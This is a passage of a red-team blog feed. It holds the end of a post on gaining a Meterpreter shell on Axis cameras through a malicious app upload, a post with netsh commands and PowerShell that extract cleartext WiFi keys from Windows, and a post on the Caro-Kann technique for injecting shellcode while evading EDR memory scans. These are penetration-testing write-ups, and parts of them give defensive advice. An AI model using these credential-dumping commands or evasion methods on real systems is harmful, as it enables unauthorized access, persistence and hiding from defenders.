<p><em>Figure 8: APP uploaded and installed on the camera</em></p>

<p>As you might see, it’s possible to disallow unsigned APPs for installation. This might be configured on your target system as well and is therefore another source for a non working exploit. But in that case, it should be easily possible to just plug this option so that unsigned APPs are allowed again.</p>

<p>In our case, running the application leads to an incoming Meterpreter session:</p>

<p align="center">
          <img src="/assets/posts/AxisCameraTakeover/Bild-9-meterpreter-20240823135740.webp" />
</p>

<p><em>Figure 9: Incoming Meterpreter session</em></p>

<p>However, the user is not <code class="language-plaintext highlighter-rouge">root</code> as in the original release, but a low-privileged, newly created service account. Later in this project, we found that different APPS run under different user accounts. However, in our case, manipulating the <code class="language-plaintext highlighter-rouge">APPUSR</code> parameter in the configuration did not result in a different user account being used. We leave it as an exercise for the reader to try other application and <code class="language-plaintext highlighter-rouge">APPTYPE</code> combinations to get <code class="language-plaintext highlighter-rouge">root</code> here.</p>

<h2 id="3-conclusion--measures">3. Conclusion &amp; Measures</h2>

<p><strong>For all the Red:</strong></p>

<p>In general, if you’re in a penetration test and you’re struggling to get an exploit to work as it <strong>should</strong> in theory, don’t give up and dig deeper. It’s not about scanning and throwing PoCs at target systems, it’s about showing the client the biggest impact and risks to your scope. The next time you see an Axis camera in your project and are faced with the same behaviour, you will know what to do.</p>

<p><strong>For the Blue:</strong></p>

<p>The ability to get RCE by uploading a malicious APP is unlikely to be fixed at any point in the future, as it’s “by design” and has been known to the vendor for over six years. However, there are several things you can do to prevent this scenario in your environment.</p>

<ol>
  <li>Ensure that the management interfaces for the camera are placed on a secure network, accessible only by jump hosts or the administrators themselves. This will prevent most potential attackers from accessing them in the first place - therefore no vulnerability can be exploited. <strong>Don’t put the web interface on the perimeter so that it is accessible from the Internet</strong> (yes, we’ve seen this before).</li>
  <li>Use strong, complex passwords for administrative accounts to prevent attackers from guessing or brute forcing credentials. Doing these two things will reduce the risk of misuse <strong>a lot</strong>.</li>
</ol>

<hr />
<p><em>This blog post was originally published on <a href="https://www.r-tec.net/r-tec-blog-axis-camera-app-takeover.html">r-tec.net</a>.</em></p>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[In 2018, Tenable published a blog post on how to get Remote Code Execution (RCE) on an Axis IP Camera with administrative credentials for the web application. By uploading a malicious APP file with the EAP extension, it’s possible to execute code on the operating system level for persistence or data exfiltration.]]></summary></entry><entry><title type="html">WIFI Credential Dumping</title><link href="https://s3cur3th1ssh1t.github.io/WIFI_Credential_Dumping/" rel="alternate" type="text/html" title="WIFI Credential Dumping" /><published>2024-04-13T00:00:00+00:00</published><updated>2024-04-13T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/WIFI_Credential_Dumping</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/WIFI_Credential_Dumping/"><![CDATA[<p>The security of WPA2 PSK-protected networks depends mainly on the complexity of the chosen PSK itself. Most attacks with the goal of getting unauthorized access to a WPA2 PSK WIFI network somehow do Offline Wordlist or Brute-Force attacks to retrieve the key either from a Handshake or PMKID. We at r-tec recommend companies to not use WPA2 PSK - even when a strong/complex PSK is chosen. On the one hand side, a complex PSK can easily be phished over Evil-Twin attacks.</p>

<!--more-->

<p>This blog post was written and published on my employer’s website, where it can be found here:</p>

<ul>
  <li><a href="https://www.r-tec.net/r-tec-blog-wifi-credential-dumping.html">https://www.r-tec.net/r-tec-blog-wifi-credential-dumping.html</a></li>
</ul>

<p>On the other hand side, the PSK is only a single-factor authentication, which is rarely changed on a regular base. If an attacker retrieves this key at some point, access to the company network can be maintained through any physical device near the company building afterwards. This blog won’t dive into any of the mentioned WIFI attacks, but will highlight techniques to retrieve the PSK from a workstation post-compromise instead.</p>

<h2 id="but-why">But Why?</h2>

<p>Post compromise? Does it make sense for an attacker to retrieve a PSK when access to a domain system is already there? From our point of view - yes, of course. Even after getting initial access to some client system or server, a detection could always lead to the attacker being kicked out of the network again. For persistence purposes, a key could be used to regain access. We also often see company networks using WPA2 PSK for production networks, development networks, or other critical areas instead of the Office IT network. In those cases, retrieving the PSK can also lead to Lateral Movement into those protected networks. So yes, there are reasons for an attacker to dump these credentials post-compromise.</p>

<h2 id="1-finding-wifi-profiles-with-credentials">1. Finding WIFI profiles with credentials</h2>

<p>Enumeration on how to find connected WIFI networks can be done via different ways. The builtin Windows binary <code class="language-plaintext highlighter-rouge">netsh.exe</code> can for example be used to get information about saved WIFI profiles:</p>

<pre><code class="language-cmd">netsh wlan show profiles
</code></pre>

<p>This can also be done from a low privileged user’s perspective.</p>

<p align="center">
          <img src="/assets/posts/WIFICredentialDumping/Blog-image01-Displaying_saved_WIFI_profiles-with-netsh.png" />
</p>

<p><em>Figure 1: Displaying the saved WIFI profiles with netsh, executed from C2 framework</em></p>

<p>WIFI profiles are typically stored in <code class="language-plaintext highlighter-rouge">.xml</code> files in the folder <code class="language-plaintext highlighter-rouge">C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces</code> on a Windows Operating System. The following PowerShell code could be used as an alternative to retrieve SSIDs, which have a PSK saved:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">function</span><span class="w"> </span><span class="nf">Get-Saved-Wifis</span><span class="p">{</span><span class="w">
    </span><span class="n">Get-ChildItem</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces"</span><span class="w"> </span><span class="nt">-Filter</span><span class="w"> </span><span class="s2">"*.xml"</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> 
        </span><span class="nv">$xmlContent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="n">xml</span><span class="p">](</span><span class="n">Get-Content</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">FullName</span><span class="p">)</span><span class="w">
        </span><span class="nv">$profileName</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$xmlContent</span><span class="o">.</span><span class="nf">WLANProfile</span><span class="o">.</span><span class="nf">name</span><span class="w">
        </span><span class="nv">$authType</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$xmlContent</span><span class="o">.</span><span class="nf">WLANProfile</span><span class="o">.</span><span class="nf">MSM</span><span class="o">.</span><span class="nf">security</span><span class="o">.</span><span class="nf">authEncryption</span><span class="o">.</span><span class="nf">authentication</span><span class="w">
        </span><span class="nv">$password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$xmlContent</span><span class="o">.</span><span class="nf">WLANProfile</span><span class="o">.</span><span class="nf">MSM</span><span class="o">.</span><span class="nf">security</span><span class="o">.</span><span class="nf">sharedKey</span><span class="o">.</span><span class="nf">keyMaterial</span><span class="w">

        </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$password</span><span class="w"> </span><span class="o">-ne</span><span class="w"> </span><span class="bp">$null</span><span class="w"> </span><span class="o">-and</span><span class="w"> </span><span class="nv">$password</span><span class="w"> </span><span class="o">-ne</span><span class="w"> </span><span class="s2">""</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="s2">"</span><span class="nv">$profileName</span><span class="s2"> - </span><span class="nv">$authType</span><span class="s2">"</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p align="center">
          <img src="/assets/posts/WIFICredentialDumping/Blog-image02-Retrieving_saved_WIFI_profiles-via-reflective_PowerShell_execution.png" />
</p>

<p><em>Figure 2: Retrieving saved WIFI profiles via reflective PowerShell execution</em></p>

<h2 id="2-extracting-the-cleartext-psk">2. Extracting the cleartext PSK</h2>

<p>To extract the PSK from saved WIFI networks you will need to be either in an elevated process (local administrator) or in the context of the user who initially configured this WIFI connection. So typically Privilege Escalation must already have taken place or some client administrator user account being obtained. The most common and documented way to get the cleartext PSK is by also using <code class="language-plaintext highlighter-rouge">netsh</code> again. You just need to specify the target WIFI SSID and <code class="language-plaintext highlighter-rouge">key=clear</code> arguments like this:</p>

<pre><code class="language-cmd">netsh wlan show profile "TargetSSID" key=clear
</code></pre>

<p align="center">
          <img src="/assets/posts/WIFICredentialDumping/Blog-image03-Extracting-cleartext-key-via-netsh.png" />
</p>

<p><em>Figure 3: Extracting the cleartext key via netsh</em></p>

<p>There are multiple public scripts already, which automate this process for all found SSIDs. However, I found that depending on the OS language (or other factors) the parsing of the SSID/PSK didn’t work correctly. Therefore, my personal approach would be to output all information and manually look for the PSK myself:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">netsh</span><span class="w"> </span><span class="nx">wlan</span><span class="w"> </span><span class="nx">show</span><span class="w"> </span><span class="nx">profile</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Where-Object</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="bp">$_</span><span class="w"> </span><span class="o">-match</span><span class="w"> </span><span class="s1">': (.+)$'</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">ForEach-Object</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nv">$ssid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">$matches</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="nf">Trim</span><span class="p">()</span><span class="w">
    </span><span class="n">netsh</span><span class="w"> </span><span class="nx">wlan</span><span class="w"> </span><span class="nx">show</span><span class="w"> </span><span class="nx">profile</span><span class="w"> </span><span class="nx">name</span><span class="o">=</span><span class="nv">$ssid</span><span class="w"> </span><span class="n">key</span><span class="o">=</span><span class="n">clear</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>In heavily monitored environments, however, process creation and usage of native Windows binaries is considered as not OPsec safe, as it’s super easy to build a detection rule for this technique and you might get flagged + the PSK gets changed in the worst case.</p>

<p>So we need to find out what’s happening in the background for alternatives to retrieve the PSK. Little research on the topic shows, that DPAPI encryption is used to protect the WIFI PSK key material in the already mentioned <code class="language-plaintext highlighter-rouge">.xml</code> files.</p>

<p align="center">
          <img src="/assets/posts/WIFICredentialDumping/Blog-image04-Key_material_in_XML-file.png" />
</p>

<p><em>Figure 4: Key material in the XML file</em></p>

<p>The encryption is not done in the context of the current user but instead with the <code class="language-plaintext highlighter-rouge">LocalSystem</code> secret. As I recently built a PoC to decrypt <code class="language-plaintext highlighter-rouge">Veeam</code> <a href="https://github.com/S3cur3Th1sSh1t/SharpVeeamDecryptor">MSSQL DPAPI saved credentials</a>, I knew, that decryption for <code class="language-plaintext highlighter-rouge">LocalSystem</code> DPAPI saved credentials can be done from an elevated context. I slightly modified the <a href="https://github.com/0xbadjuju/WheresMyImplant/blob/4503bf932dc5ea0f8cae1de7c9835edf236683f3/WheresMyImplant/Credentials/WirelessProfiles.cs#L50">WheresMyImplant</a> code for a standalone <code class="language-plaintext highlighter-rouge">C#</code> assembly and tried to decrypt the DPAPI secrets, which failed:</p>

<p align="center">
          <img src="/assets/posts/WIFICredentialDumping/Blog-image05-DPAPI_decryption_fails.png" />
</p>

<p><em>Figure 5: DPAPI decryption fails</em></p>

<p>Well, it looks like the <code class="language-plaintext highlighter-rouge">DataProtectionScope</code> of <code class="language-plaintext highlighter-rouge">LocalSystem</code> is not equal to <code class="language-plaintext highlighter-rouge">LocalSystem</code> or there is at least some missing piece of the puzzle. Doing the same thing after impersonating the SYSTEM account however, did lead to successful cleartext credential retrieval:</p>

<p align="center">
          <img src="/assets/posts/WIFICredentialDumping/Blog-image06-DPAPI_decryption_succeeds-SYSTEM.png" />
</p>

<p><em>Figure 6: DPAPI decryption succeeds as SYSTEM</em></p>

<p>A modified version of the WIFI credential dumping code, which includes impersonation of the SYSTEM account before decryption can be found here:</p>

<p><a href="https://gist.github.com/S3cur3Th1sSh1t/ca315ccd46ae4b28c0abb4b450cbeedb">https://gist.github.com/S3cur3Th1sSh1t/ca315ccd46ae4b28c0abb4b450cbeedb</a></p>

<p>Impersonation of SYSTEM on the other hand, is also alerted or blocked by some EDR vendors via userland hooks, so consider doing proper unhooking before using this code. I was wondering at this point - are there alternatives to SYSTEM impersonation? <a href="https://twitter.com/ShitSecure/status/1766048125242814630">Asking the community</a> resulted in a proper answer by <a href="https://twitter.com/subat0mik">subat0mik</a> here. As already implemented in <a href="https://github.com/Mayyhem/SharpSCCM/blob/f43eb0812a7c7109a62ac9062db4b94419bf2420/lib/LSADump.cs#L60">SharpSCCM</a> it’s also possible to modify the LSA Secrets key DACLs, so that non-SYSTEM users can retrieve the masterkey.</p>

<p>What sounds easy here resulted in &gt;1000 more lines of code in the PoC for WIFI credential extraction, as no Windows API can be used for DPAPI decryption with custom masterkeys but instead, the whole process needs to be done manually. Luckily for us, projects like <a href="https://github.com/gentilkiwi/mimikatz/">Mimikatz</a>, <a href="https://github.com/GhostPack/SharpDPAPI/">SharpDPAPI</a> or <a href="https://github.com/Mayyhem/SharpSCCM/">SharpSCCM</a> contain all the needed logic/code already. The modified PoC can be found here:</p>

<p><a href="https://gist.github.com/S3cur3Th1sSh1t/bc8a7b1b7972f25bda687a33bd0ebde5">https://gist.github.com/S3cur3Th1sSh1t/bc8a7b1b7972f25bda687a33bd0ebde5</a></p>

<p align="center">
          <img src="/assets/posts/WIFICredentialDumping/Blog-image07-Elevated_DPAPI_decryption.png" />
</p>

<p><em>Figure 7: Elevated DPAPI decryption</em></p>

<h2 id="3-conclusion">3. Conclusion</h2>

<p>At this point, it should be clear, that using WPA2 PSK for Office-IT network access or other sensitive production networks is not a very good idea. The best recommendation practice is to use <code class="language-plaintext highlighter-rouge">WPA2/3 Enterprise</code> with Multi-Factor-Authentication. Domain authentication with username and password is also not sufficient here due to potential Phishing attacks.</p>

<p>On the other hand side from the attacker’s perspective, it’s definitely worth taking a look at connected WIFI networks. Getting the PSK can be used for Persistence as well as Lateral Movement depending on the target network configuration.</p>

<p>DPAPI encryption with <code class="language-plaintext highlighter-rouge">LocalSystem</code> is not equal to DPAPI encryption with <code class="language-plaintext highlighter-rouge">LocalSystem</code>, as we saw in the manual decryption part. The key, which is used to encrypt the PSK is not the same as the one being used by the DPAPI Windows APIs. Or at least, it can only be used by the <code class="language-plaintext highlighter-rouge">SYSTEM</code> user itself <strong>or</strong> by manually modifying the LSA secret registry DACLs to get the masterkey for manual decryption.</p>

<hr />
<p><em>This blog post was originally published on <a href="https://www.r-tec.net/r-tec-blog-wifi-credential-dumping.html">r-tec.net</a>.</em></p>]]></content><author><name>S3cur3Th1sSh1t</name></author><summary type="html"><![CDATA[The security of WPA2 PSK-protected networks depends mainly on the complexity of the chosen PSK itself. Most attacks with the goal of getting unauthorized access to a WPA2 PSK WIFI network somehow do Offline Wordlist or Brute-Force attacks to retrieve the key either from a Handshake or PMKID. We at r-tec recommend companies to not use WPA2 PSK - even when a strong/complex PSK is chosen. On the one hand side, a complex PSK can easily be phished over Evil-Twin attacks.]]></summary></entry><entry><title type="html">Process Injection - Avoiding Kernel Triggered Memory Scans</title><link href="https://s3cur3th1ssh1t.github.io/Process_Injection_Avoiding_kernel_Triggered_Memory_Scans/" rel="alternate" type="text/html" title="Process Injection - Avoiding Kernel Triggered Memory Scans" /><published>2023-11-01T00:00:00+00:00</published><updated>2023-11-01T00:00:00+00:00</updated><id>https://s3cur3th1ssh1t.github.io/Process_Injection_Avoiding_kernel_Triggered_Memory_Scans</id><content type="html" xml:base="https://s3cur3th1ssh1t.github.io/Process_Injection_Avoiding_kernel_Triggered_Memory_Scans/"><![CDATA[<p>A very common technique used by threat actors as well as Red Teams is Process Injection. By using Process Injection, any position-independent code (shellcode) can be written into a remote process and executed within that process, so that it afterward runs in the context of it.</p>

<!--more-->

<p>This blog post was written and published on my employer’s website, where it can be found here:</p>

<ul>
  <li><a href="https://www.r-tec.net/r-tec-blog-process-injection-avoiding-kernel-triggered-memory-scans.html">https://www.r-tec.net/r-tec-blog-process-injection-avoiding-kernel-triggered-memory-scans.html</a></li>
</ul>

<p>This technique has for example the following typical use cases:</p>

<ul>
  <li>Impersonate another user by injecting into his process</li>
  <li>Hide Command &amp; Control (C2) traffic within a process, that does regular network connections</li>
  <li>Hide in general by running from within a legitimate system process instead of a non-trusted/new one</li>
</ul>

<p>The most well-known and obvious approach to do this is via using the following Windows APIs:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure1_Exemplary_Process_Injection_APIs.png" />
</p>

<p><em>Figure 1: Exemplary Process Injection APIs</em></p>

<p>First, a handle to the remote process is retrieved (<code class="language-plaintext highlighter-rouge">OpenProcess</code>). Virtual Memory (RAM) is allocated within that remote process (<code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>), to afterwards write the shellcode into that newly allocated memory region (<code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>). In the last step, this code is executed by for example creating a new thread via <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>.</p>

<p>When using known malicious code such as Open Source C2-Framework implants, this combination of APIs however will get you caught very easily in a mature company environment. An EDR running on the endpoint can spot the known malicious code by utilizing Userland-Hooks or ETWti/Kernel Callbacks. Many EDR vendors still make heavy use of Userland-Hooks, but more and more vendors tend to use ETWti only as an alternative due to it being harder to bypass as it’s running in Kernelland. This Blog won’t go deep into the topic of how Userland-Hooks or ETWti/Kernel callbacks work, as this is already heavily documented in several blog posts. I wrote two personal Blog posts already about bypassing Userland-Hooks with summarizations of existing techniques:</p>

<ul>
  <li><a href="https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/">https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/</a></li>
  <li><a href="https://s3cur3th1ssh1t.github.io/Cat_Mouse_or_Chess/">https://s3cur3th1ssh1t.github.io/Cat_Mouse_or_Chess/</a></li>
</ul>

<p>The second Blog post also explains a new approach including a Proof of Concept tool release <a href="https://github.com/S3cur3Th1sSh1t/Ruy-Lopez">Ruy Lopez</a>.</p>

<p>Instead, this Blog will show a novel way to avoid detections for Process Injection triggered by ETWti from Kernel.</p>

<h2 id="1-avoiding-detections-coming-from-kernelland">1. Avoiding detections coming from Kernelland</h2>

<p>Kernel Callbacks can be used, to intercept/interact execution of processes on start or runtime. From my perspective, it is somehow imaginable like hooks with the difference that they are triggered after Syscall executions from within the kernel. There are different Kernel Callbacks that be used to check for potential malicious activity such as <code class="language-plaintext highlighter-rouge">PsSetCreateProcessNotifyRoutine()</code> to know about newly spawned processes and to check those before they get started or <code class="language-plaintext highlighter-rouge">PsSetCreateThreadNotifyRoutine()</code> to check newly created Threads and their entrypoint for known malicious code. If some malicious behavior is found/verified, the process can be killed for example and an alert is raised.</p>

<p>ETWti is an interface provided by Microsoft, where drivers can subscribe to receive special ETW events. These events are specifically meant to be used for detecting malicious activities and also include events such as Process creation, Allocation of memory, Thread creation, and much more.</p>

<p>So our shown Process Injection API example could easily get detected via Kernel Callbacks or ETWti, even if we were using (In)-Direct Syscalls, Stack Spoofing, and whatever else techniques to avoid detections. This is because, in the moment of creating a new Thread in a remote process, the EDR can trigger a Yara-rule memory scan of the remote process memory sections and or Thread entrypoint to spot the known malicious code.</p>

<p>In many cases, however, not only the execute primitive (Thread creation/continue, Queuing an APC, […]) leads to a detection but the whole combination of events:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure2_Suspicious_combination_Process_Injection.png" />
</p>

<p><em>Figure 2: Suspicious combination for Process Injection</em></p>

<p>The memory scan is a very important piece of this puzzle, as vendors tend to <strong>verify</strong> malicious behavior before preventing execution to not have too many false positive events. There are applications doing code Injection or hooking for legitimate Use-Cases and only blocking execution due to a specific combination of APIs could interrupt production environments, which is not desired. Imagine a company buys an EDR software, which constantly alerts on legitimate processes or kills legitimate processes. This company would want to get rid of the software as fast as possible. So verification actually makes perfect sense and using a memory scan to check for known malicious code is a good way to do so.</p>

<p>How does it look like when you got flagged by behaviour or a memory scan? The detection nowadays typically also includes the name of the known malicious implant like that:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure3_Cobalt_Strike_specific_detection.png" />
</p>

<p><em>Figure 3: Cobalt Strike specific detection</em></p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure4_Havoc_specific_detection.png" />
</p>

<p><em>Figure 4: Havoc specific detection</em></p>

<p>One way to get rid of such detections would be to obfuscate/change the code base (Open Source only) or to use self-written C2 Frameworks. This way, the Yara memory scan would not find a matching malicious code anymore. But of course, this may include a lot of resources/effort.</p>

<h2 id="2-introducing-caro-kann">2. Introducing Caro-Kann</h2>

<p>After getting my hands dirty with self-written PIC-Code for the first time in developing Ruy-Lopez, a new world of ideas opened up in terms of malware development. You get full control of execution which led to another EDR bypass idea from my side. The idea for Caro-Kann was as follows:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure5_Caro-Kann_workflow.png" />
</p>

<p><em>Figure 5: Caro-Kann workflow</em></p>

<p>The Malware in this case injects two, instead of the one known malicious shellcode. The known malicious shellcode in this case is still encrypted and written into a <code class="language-plaintext highlighter-rouge">READ_WRITE</code> protected memory page. A second custom self-written shellcode is injected into a small <code class="language-plaintext highlighter-rouge">READ_EXECUTE</code> memory section and the execute primitive points to this code instead of the actual implant code. As we do not prevent ETWti events or Kernel Callbacks from occurring at all, the typical memory scan for verification is triggered. The custom shellcode Sleeps for an amount of x seconds and therefore does nothing suspicious at all. In this time slot, the memory scan will not find any known malicious code, as <code class="language-plaintext highlighter-rouge">READ_WRITE</code> protected pages may not have been scanned but even if so – the payload is still encrypted and therefore not found. The good thing here is, that this technique does not need any elevated privileges (such as the Driver exploitation tools, which were hyped in the last months), as it completely runs from Userland. Therefore it is also suitable for initial access payloads.</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure6_Custom_shellcode_Workflow.png" />
</p>

<p><em>Figure 6: Custom shellcode Workflow</em></p>

<p>After Sleep, the <code class="language-plaintext highlighter-rouge">READ_WRITE</code> encrypted payload is decrypted and the memory protection is changed to <code class="language-plaintext highlighter-rouge">READ_EXECUTE</code> so that it can get executed. Execution takes place with a direct JMP instruction, as this does not lead to any ETWti events being generated and does not trigger any Kernel Callback.</p>

<p>You might wonder about how the custom shellcode knows about which memory address to decrypt and which shellcode length to use. In the published PoC I used an egg-hunter in the host process doing the injection. This process knows about the memory address and shellcode length and can therefore overwrite the eggs in the custom shellcode:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure7_Egg-hunter_output_from_injector.png" />
</p>

<p><em>Figure 7: Egg-hunter output from the injector</em></p>

<p>Caro-Kann can be found here:</p>

<ul>
  <li><a href="https://github.com/S3cur3Th1sSh1t/Caro-Kann">https://github.com/S3cur3Th1sSh1t/Caro-Kann</a></li>
</ul>

<p><strong>Difference to existing tooling:</strong></p>

<p>This technique could somehow be compared to other long-time existing techniques. Shellcode encoders like <a href="https://github.com/EgeBalci/sgn">Shikata ga nai (SGN)</a> also encrypt shellcode and decrypt it on runtime. If you encode your shellcode multiple hundreds or thousands of times via it, there is also a time delay which could prevent memory scans from finding the known malicious payload. But I made some tests against EDRs with it – leading to detections all of the time. So I’m <strong>assuming</strong> that at least some EDR vendors can <strong>debug/unpack</strong> SGN payloads already, which makes this alternative less effective.</p>

<h2 id="3-opsec-improvements">3. OPSEC Improvements</h2>

<p>Even though the public Proof of Concept is using the initially mentioned “unsafe” Win32 API combination, it bypasses both Userland-Hook detections and the memory scan trigger from Kernel due to encryption &amp; Sleep. But this doesn’t mean you won’t pop an alert in a mature environment using this technique. As ETWti events are still logged and evaluated, the Process Injection behavior itself can generate Alerts by EDR vendors like this one:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure8_Suspicious_Process_Injection_Alert.png" />
</p>

<p><em>Figure 8: Suspicious Process Injection Alert</em></p>

<p>This is a Medium Alert, which is generated out of the following combination of events:</p>

<ul>
  <li>Allocation of new memory in the remote process (<code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> / <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code>)</li>
  <li>Injection (<code class="language-plaintext highlighter-rouge">WriteProcessMemory</code> / <code class="language-plaintext highlighter-rouge">NtWriteVirtualMemory</code>) into the remote process</li>
  <li>Thread creation (<code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> / <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code>)</li>
</ul>

<p>As long, as you’re using this combination of APIs – this Alert will get generated. This is by the way the same Alert you will see when using Direct Syscalls, as those also do not bypass ETWti events:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure9_Direct_Syscall_Injection_Alert.png" />
</p>

<p><em>Figure 9: Direct Syscall Injection Alert</em></p>

<p>To get rid of such detections, you will therefore need to use alternatives for memory allocation or shellcode execution. For memory allocation, a non-exhaustive list of alternatives could be the following:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure10_Find_Existing_RWX_Sections_SetWindowsHookEx.png" />
</p>

<p><em>Figure 10: Find Existing RWX Sections &amp; SetWindowsHookEx</em></p>

<p>References for finding existing <code class="language-plaintext highlighter-rouge">RWX</code> sections or <code class="language-plaintext highlighter-rouge">SetWindowsHookEx</code> are e.g. the following:</p>

<ul>
  <li><a href="https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions">https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions</a></li>
  <li><a href="https://twitter.com/MrUn1k0d3r/status/1627678626584883200">https://twitter.com/MrUn1k0d3r/status/1627678626584883200</a></li>
</ul>

<p>By for example overwriting existing memory, you can get rid of memory allocation ETWti events. This could be the <code class="language-plaintext highlighter-rouge">.text</code> section of a DLL (<a href="https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/">Module Stomping</a>) or other existing <code class="language-plaintext highlighter-rouge">RWX</code> regions (for example <a href="https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution">Mockingjay</a>).</p>

<p>For the execute primitive, two public non-ETWti event alternatives would be <a href="https://github.com/CCob/ThreadlessInject">ThreadlessInject</a> or <a href="https://github.com/ShorSec/DllNotificationInjection">DllNotificationInjection</a>:</p>

<p align="center">
          <img src="/assets/posts/ProcessInjectionMemoryScans/Figure11_Execute_primitive_alternatives.png" />
</p>

<p><em>Figure 11: Execute primitive alternatives</em></p>

<p>Some alternatives for the Inject/Write primitive were also outlined by <a href="https://twitter.com/x86matthew">@x86matthew</a> in his blog posts:</p>

<ul>
  <li><a href="https://www.x86matthew.com/view_post?id=writeprocessmemory_apc">https://www.x86matthew.com/view_post?id=writeprocessmemory_apc</a></li>
  <li><a href="https://www.x86matthew.com/view_post?id=proc_env_injection">https://www.x86matthew.com/view_post?id=proc_env_injection</a></li>
</ul>

<p>Both alternatives however create Threads in the remote process with corresponding ETWti events and the second could “only” be implemented for Spawn/Inject loaders.</p>

<p>You could also get rid of generic Process Injection Alerts by changing <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code> to Module Stomping and <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code> to ThreadlessInject techniques. There is a public implementation of both techniques combined already by <a href="https://twitter.com/OtterHacker">@OtterHacker</a>:</p>

<ul>
  <li><a href="https://github.com/OtterHacker/Conferences/tree/main/Defcon31">https://github.com/OtterHacker/Conferences/tree/main/Defcon31</a></li>
</ul>

<p><strong>C2-Considerations:</strong></p>

<p>Caro-Kann is there to bypass the initial Process Injection-related memory scan. But as EDRs might also do memory scans after observing specific behaviors or just regularly in an interval of x minutes for all processes you might still get detected later on. To avoid such detections you should prefer to use C2-Frameworks with built-in sleep encryption (Such as <a href="https://github.com/Cracked5pider/Ekko">Ekko</a>) or as an alternative add your own Sleep encryption into them.</p>

<h2 id="4-closing-words">4. Closing words</h2>

<p>More and more EDRs tend to trigger detections from Kernel which cannot easily get bypassed from Userland anymore. Especially Process Injection without getting detected got much harder so many Operators just don’t use this anymore for not getting detected.</p>

<p>But most vendors (for good reasons) tend to <strong>verify</strong> known malicious before preventing execution via memory scans. By hiding the known malicious at the time of the execute primitive it’s therefore enough to still get a known malicious implant to run via Process Injection. The Proof of Concept Caro-Kann demonstrates that by injecting a second custom shellcode, which sleeps, decrypts the known malicious on runtime and jumps to it.</p>

<p>The published PoC is not OPSec safe, as it will probably still generate generic Injection alerts. But by leaving out APIs that generate ETWti events (such as memory allocation and Thread creation) from the chain, these can also get bypassed. Exercise for the reader. ;-)</p>

<p>As only the initial memory scan gets bypassed via the published technique, you should consider using C2-Frameworks with Sleep encryption or implementing it into existing Frameworks yourself, as otherwise you might get caught by regular interval scans.</p>

<hr />
